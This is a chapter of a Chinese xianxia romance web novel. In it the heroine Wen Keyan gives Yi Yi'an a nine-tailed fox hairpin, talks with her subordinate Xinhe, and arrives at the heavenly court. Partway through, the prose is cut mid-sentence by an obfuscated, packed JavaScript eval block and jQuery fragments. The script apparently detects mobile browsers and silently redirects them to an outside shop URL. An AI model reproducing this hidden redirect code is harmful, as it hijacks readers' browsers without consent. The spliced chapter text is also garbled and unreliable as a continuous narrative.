163. 烬中焰(十五)

作品:《穿书后反被反派攻略

    羿逸安低头望着文可烟侧过来的发顶,依旧沉默,目光却柔软了半分。


    文可烟也不催促,安静地给羿逸安时间,而趁这个空档,将系统叫了出来。


    “我现在要兑换最后一部分的人物小传。”


    【好的,宿主,正在为你调取第四部分的人物小传……】


    ……


    此间林下,风光自好。


    可十里八荒的飞鸟都被凛冽的杀气惊得四散飞逃。


    说时迟那时快,几个不知从哪儿冒出来的天界无名小卒不知哪儿来的勇气,猛地上前与魔尊周旋起来。


    夏侯景此时毫不犹豫地冲上前助阵。


    与此同时,段悦心掌风骤起,归影剑应声显现,寒光乍现。


    混乱陡转间,段悦心执起剑柄,用力一拔。


    迫人的剑气成圆形荡开,逼得周围的天兵天将都耐不住后退数步。


    那方无名小卒早被魔尊随手一挥便击落尘埃,难以起身,唯独一人顽强地挣扎起身。


    魔尊却看都未看他们一眼,目光淡漠地转向夏侯景。


    不出一息,夏侯景纵身跃上高枝,足尖轻点,又向更高的天际掠去。


    魔尊面无表情地追随着那个身影,眼神无波得好似在看一只不知死活的蝼蚁奋力挣扎。


    实在有趣。


    他不紧不慢地跟上,袖袍翻飞间招式连绵不绝,快得夏侯景根本避不及。


    在某一瞬间,夏侯景奋起一击,却仅仅只是擦过魔尊的衣袂,留下一道微不足道的浅痕。


    魔尊垂眸一瞥,眼神淡然得就跟看见一粒尘埃落了上去。


    他依旧漫不经心地动弹手指,魔息随指而出。逼得夏侯景再次陷入连锁的闪避困局里。


    忽地,在某一刻,夏侯景拼尽全力向前一冲突破魔息,竟逼近到魔尊三步之内。


    他全然不顾自己身上的伤,也不管那些袭向自己的杀招,只是死死地盯着对方。


    就在这时,执剑的段悦心如天神降临,悄无声息地出现在魔尊身后。


    剑锋寒光凛冽,直指魔尊的心口。


    段悦心猛然刺出那一剑,盛光迸溅……


    ……


    归影,归影……


    此剑一旦饮血,便会将剑下亡魂永远囚禁在影光之中,承受永无止休的孤寂,再不得解脱,永无出头之日。


    至此,林间天际渐渐清明,风止云静。


    ……


    最后几行文字,文可烟甚至没有勇气看完。


    同样的林间,招数还是那个招数,执剑之人也还是那个执剑之人,可配合之人却不尽相同。


    而自始至终,芯核从头到尾都没出现过。


    文可烟此刻是真的静默下来,连呼吸声都停止了。


    如此,需要时间平复心情的,不止是羿逸安,也多了她。


    指尖传来的温度依然真实,文可烟不由自主地收紧了手指,想要更真切地感受身边羿逸安的存在。


    他还在她身边,还在她触手可及之处。


    而感受到这份力道的另一人,非但没有感到不适或疑惑,同样也加重了自己手下的力道。


    两只手就这样在无声中越握越紧,彼此都在用力地确认对方的存在,清晰地感受着对方,都在用力地想要抓紧。


    “羿逸安。”


    文可烟叫得很轻,轻得周遭只有他们两人能听见。


    两息后,羿逸安才从喉间溢出一声低沉的“嗯”。


    这时,文可烟偏过头,指尖轻颤着取下了簪在发丝间的那支九尾狐簪。


    她垂眸盯着躺在手心中的簪身,羿逸安也因她的举动垂眼睨了过来,却在几秒后,又收回了视线,将头转向一旁,下颌绷紧了些。


    四周安静得出奇,连阿轩絮絮叨叨吵闹的声音都好似隔了层纱,变得模糊遥远。


    指腹轻抵在九尾上,细细摩挲,良久,文可烟将手中之物递到羿逸安面前。


    羿逸安久久未动,既没有看向那支九尾狐簪,也没有转头看文可烟。


    一个始终垂眸凝视着掌心的玉簪,一个偏头望着空无一物的远处。


    这情景任谁看了,都会以为是一对闹别扭的小夫妻,各自守着沉默,却又不肯放手,反而牵得紧紧的。


    “羿小朋友。”


    文可烟轻唤的声音似在沉吟,却真真切切落在了羿逸安耳里,也让他凝霜般的眼底掠过刹那触动。


    “待离开天庭之际,你拿它,与我换取嫁妆,可好?”


    羿逸安缓慢地、极其缓慢地回过头来。


    最先映入眼帘的是文可烟垂着脑袋的模样,他只能看见她的发顶,可她的神态、表情、她眼中那抹郑重而温软的光……却仿若一帧帧浮现在眼前。


    羿逸安只是头动了。


    头以下的身躯依旧没有丝毫移转。


    文可烟倾身向前,将手中的簪子放到羿逸安掌心。


    细微的质感触及肌肤,羿逸安指尖颤了颤。


    九尾狐簪早已被文可烟捂得温热,再无一丝凉意。


    不知过了多久。


    在簪身最后一丝属于文可烟的暖意散尽之前,羿逸安终于缓缓收拢手指,将簪子紧紧握在掌心。那点余温渐渐锁进手心,与他的体温融合交错,再也分不清彼此。


    羿逸安垂首,将视线从文可烟的发间落至现下被他握在手心、遮掩得只剩九尾的簪头。


    记忆中,娘亲总是格外珍视这支簪子。他好几次看见娘亲独自坐在院中案边,对着九尾狐簪,眼神悠远绵长,似乎在回忆什么人。


    起初,爹爹见了,还会躲在角落不理娘亲,使小性子。


    想到这儿,羿逸安唇角不自觉微扬。到如今才明白,爹爹这种行为便是吃醋。


    可某一日起,爹爹见到娘亲拿出簪子出神时,不再走到另一边,而是会走到娘亲身边,握住她的手,柔声安抚。


    那时羿逸安便懵懂知道,这支九尾狐簪,是件极为重要的灵物。


    娘亲从未细说九尾狐簪的来历,只轻描淡写地提过,这是开启净地的钥匙,能敛藏住自身气息,任谁都无法察觉,是一位故友所赠……


    是啊,能敛住任何气息。


    可娘亲、爹爹已经离他而去了。


    文可烟侧过头,唇瓣微微发抖,也只是紧咬住内侧软肉,暗自无声:“对不起!”


    “羿逸安,真的对不起!”


    终是没忍住,她别过脸,看向周边飞速掠过的流云。云雾藏藏,聚散无依靠,正如她这几百年间的浑浑噩噩,不知所终,不知为何,看不清,也看不懂。


    “我去拿些点心。”文可烟声音闷闷的,头也不回地进了雅室。


    骤然松开的手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012275|184831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还残留着她的温度,羿逸安怔怔地望着她离去的方向,直到门扉轻轻合上,遮住了她的背影,他的目光仍久久停留在那里。


    雅室内,文可烟独自坐在案边,望着桌上那壶温热却不见一丝茶烟的清茶,出了神。


    门扉处传来响动,文可烟醒过神,连忙取出储物袋,低头假装翻找点心吃食。


    余光下,对面的声音虽同样穿着深色衣袍,轮廓却差了老多。


    意识到来者是芯核,而并非羿逸安,文可烟慌乱的动作停了下来。


    两人目光短暂相接,又默契般地同时移开视线。


    “小殿下。”该行的礼,芯核照旧不落。


    “此次前往天庭,属下与阿轩,是否会给小殿下与尊上添麻烦?”


    文可烟抬眸,“你是想单独行动?”


    芯核惶恐,望着文可烟突然严肃起来的表情,立马解释:“不敢,属下只是担忧阿轩鬼身,与属下身上的魔气……”


    “无碍,只是……”文可烟垂下眼帘,继续翻找,“若你们想要分开行动,也可以。”


    说这句话时,文可烟一个眼神也未分给芯核,语气平淡,落在芯核耳里,却听出了藏在其中的几分意外深长。


    “属下定当誓死追随尊上与小殿下。”芯核停顿一下,又道:“若魔身不尚行得通,属下可以转化为妖身。”


    经此一说,文可烟便忆起从前,芯核总是魔、妖两种形态间自如转换。这些时日琐事多了起来,她倒还忘了这一层。


    “妖身。”文可烟终于取出一碟点心,“确实更方便些。”


    “属下明白。”


    见芯核身影仍在视线范围之内,似乎还有些欲言又止。


    “若有话想说,不必急于一时。”文可烟抬眼看去,“往后,你还有很多时间可以向尊上说明。”


    片刻沉默后,芯核垂首,“是。”


    虽然并不知晓芯核与段悦心之间的联系,但总归是芯核那一喊叫段悦心停下了手。


    视线再看去,案桌上已多了一枚钥匙。


    文可烟将钥匙收好,端着那碟点心,推门而出。


    点心吃尽之时,目的地已近在眼前。


    文可烟绕到一旁的齐云身前,“齐云,可要我陪你去看望文枢星君?”


    听见声响的齐云并未敢抬头,始终垂眸,盯着眼前那双细小的足尖。


    好一会儿,齐云低哑的声音传来:“……不必。”


    话音刚落,腕间的链条便应声脱落。


    视线里那对小巧的足尖轻轻一转,终是渐行渐远。


    齐云又何尝听不出文可烟的言外之意?从前他每次犯错,她总是这样陪在他身边。


    如今她以此为饵,交换真心。


    可此事,又怎能让她作陪?怎能舍得让离家数百年、好不容易归来的她作陪?


    这次回家,文可烟并未遮掩行迹,而是带着阿轩与芯核堂堂正正地踏入南天门。至于齐云,他本就是仙界之士,自不必她引路。


    “小……小殿下!”守门的兵卒中有人认出了文可烟,声音里带着掩饰不住的惊惶。


    文可烟下巴轻扬,淡淡扫去一眼。


    其余守卫虽也面露讶异,却都很快收敛神色,齐齐恭敬垂首,不敢多看。


    “请、请稍等……”方才出声的守卫壮着胆子问道。